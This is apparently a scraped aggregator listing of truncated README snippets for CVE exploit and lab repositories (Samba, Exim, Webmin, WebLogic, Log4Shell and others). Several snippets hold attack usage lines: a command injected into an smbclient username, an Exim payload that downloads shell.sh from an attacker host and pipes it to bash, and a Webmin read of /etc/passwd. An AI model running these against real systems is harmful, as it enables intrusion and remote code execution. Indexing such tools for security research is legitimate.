CVE-2019-16405.rb

此存储库没有 README。...

smb_usermap

smbusermap 一个针对 Samba 3.0.20 中 CVE-2007-2447 漏洞的简单利用程序。 你可以用比这更简单的方式利用此漏洞，例如使用 smbclient，但我认为执行复杂命令比较困难，因为很多特殊字符可能会被过滤掉，但一个简单的命令（本例中是 reboot）可以通过以下方式传入： smbclient -L --user="/=\reboot" -N...

cve-2021-42013-apache

安装与执行脚本 💻 前提条件 在开始之前，请确保您的机器上已安装以下工具： Python 3.x Git pip （用于管理 Python 依赖） 安装步骤 1. 克隆仓库 使用 git 克隆仓库： root@kitploit: git clone https://github.com/dream434/cve-2021-42013-apache 2. 进入项目目录 root@kitploit: cd cve-2021-42013-apache 3. 安装依赖 📥 root@kitploit: pip install -r requirements.txt 4. 运行应用程序...

Detection-struts-cve-2017-5638-detector

🚨 Apache Struts CVE-2017-5638 实时异常检测 基于流式分析与概率数据结构的零日漏洞利用检测 📌 项目说明 本项目是一个 实时异常检测系统 ，旨在 检测对 Apache Struts 通过漏洞 CVE-2017-5638 进行的 RCE（远程代码执行）利用 ，而无需依赖已知签名或模式。 CVE-2017-5638 是一个在 2017 年 Equifax 攻击 中使用的关键漏洞，导致 1.47 亿人的个人数据泄露。该攻击得逞的原因是 补丁管理和早期检测的失败 。 该系统通过以下方式解决这些弱点： ✅ 基于行为的检测 （而非签名） ✅ 对整个 HTTP 请求的字节级...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 在 Apache Solr 上 用于在 Docker 中复现和研究 Apache Solr 上 Log4Shell 漏洞的受控环境。 环境 靶机 solr-lab：Apache Solr v8.11.0 vulhub/solr:8.11.0，运行着一个存在漏洞的 Log4j 版本。 攻击机 kali-lab：基础 Kali Linux 容器，预装了 nmap、curl 和 netcat。 如何启动实验室 1. 初始化容器 在您的终端中，将环境在后台启动： root@kitploit: docker compose up...

cve-2016-7434

CVE-2016-7434 这是Cved的一部分： 一个管理易受攻击的Docker容器的工具。 Cved: https://github.com/git-rep-src/cved 镜像来源：https://github.com/cved-sources/cve-2016-7434 镜像作者：https://github.com/opsxcq/exploit-CVE-2016-7434...

ExploitWebmin

Script Webmin Project created by: Gabriel Jose. Python script to exploit webmin vulnerability cve-2006-3392 Example of how to use ./exploitWebmin.py -pt http -t host -p port -f file root@kitploit: ./exploitWebmin.py -pt http -t 127.0.0.1 -p 10000 -f /etc/passwd...

Invoke-HiveDreams

Invoke-HiveDreams 一种识别并修复 CVE-2021-36934 HiveNightmare 的能力。...

CVE-2019-14974-bypass

Este repositorio no tiene un README...

KNOXout

KNOXout 基于 CVE-2016-6584 漏洞 的 Galaxy S6 root 概念验证 它使用 dosomder/idler1984 的 iovyroot 来利用初始内核写-什么-哪里漏洞。...

CVE-2026-93452

creationtimestamp| type| source ---|---|--- 2026-09-18 03:03:56+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mvr6nbjycr22...

CVE-2026-93456

creationtimestamp| type| source ---|---|--- 2026-09-18 03:03:41+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mvr6msi4452e 2026-09-18 08:01:54+00:00| seen| https://gist.github.com/ichintu/9a770166efbedcb3b1cdb5d53a11b389...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL综合利用工具，支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。 需要模块：requests、http.client （工具仅用于授权的安全测试，请勿用于非法使用，违规行为与作者无关。） 命令回显模块已知成功版本：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 选项 功能一：命令回显 python3 CVE-2020-14882ALL.py -u http://1.1.1.1:7001 -c "net user" python3 CVE-2020-14882ALL.py -u...

Shodan-CVE-2024-4577

此存储库没有 README。...

gotigate

gotigate 利用 CVE-2022-40684 安装 root@kitploit: ▶ go install github.com/gustavorobertux/gotigate@latest 基本用法 root@kitploit: ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 漏洞 CVE-2019-10149 的利用 PoC 使用示例 python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2019-15107-Exploit

CVE-2019-15107 Python 利用工具 此利用工具针对 CVE-2019-15107（Webmin 1.890-1.920）未经授权的远程代码执行（RCE） ，使用 Python 编写。 使用方法 root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2024-38063-Exploit-Refactoring

CVE-2024-38063 漏洞利用 高级漏洞利用工具，具有精确的错误处理和 DO-176C 合规执行。 概述 这是一个专门的安全评估工具，用于测试目标系统上 Windows IPv6 漏洞的缓解措施。包含自动化网络接口检测、数据包构造与传输，并具有全面的错误处理。 用法 root@kitploit: python exploit.py targetipv6 optionalmac 参数： targetipv6 - 目标系统的 IPv6 地址（默认：fe80::78b7:6283:49ad:c565） optionalmac - 目标 MAC 地址（可选；如果未提供则自动解析） 要求...

CVE-2021-22204

Vulnerabilidad de ejecución remota de código en ExifTool Este debería ser un artículo de análisis sobre CVE-2021-22204, pero más bien parece mi cuaderno de borrador, lleno de muchas cosas desordenadas. Para un artículo de análisis de vulnerabilidades resulta un tanto irrelevante, pero me ha...

cpanel_xss_2023

关于该工具 ⚒️ cpanelxss2023 是一个简单的 Python 脚本，用于查找 cpanel 中的 CVE-2023-29489 漏洞及其可利用性。 功能特性 ⚙️ CVE-2023-29489 扫描： 识别并扫描 CVE-2023-29489 漏洞及其利用。 URL 输入： 支持扫描单个 URL 或从文件中读取多个 URL。 输出日志： 允许用户将扫描结果写入输出文件。 Telegram 通知： 可选择为扫描结果创建 Telegram 通知。 前置条件 🧩 在使用 cpanelxss2023 之前，请确保已安装以下前置条件： 1. Python 3.x ：确保你的系统上已安装...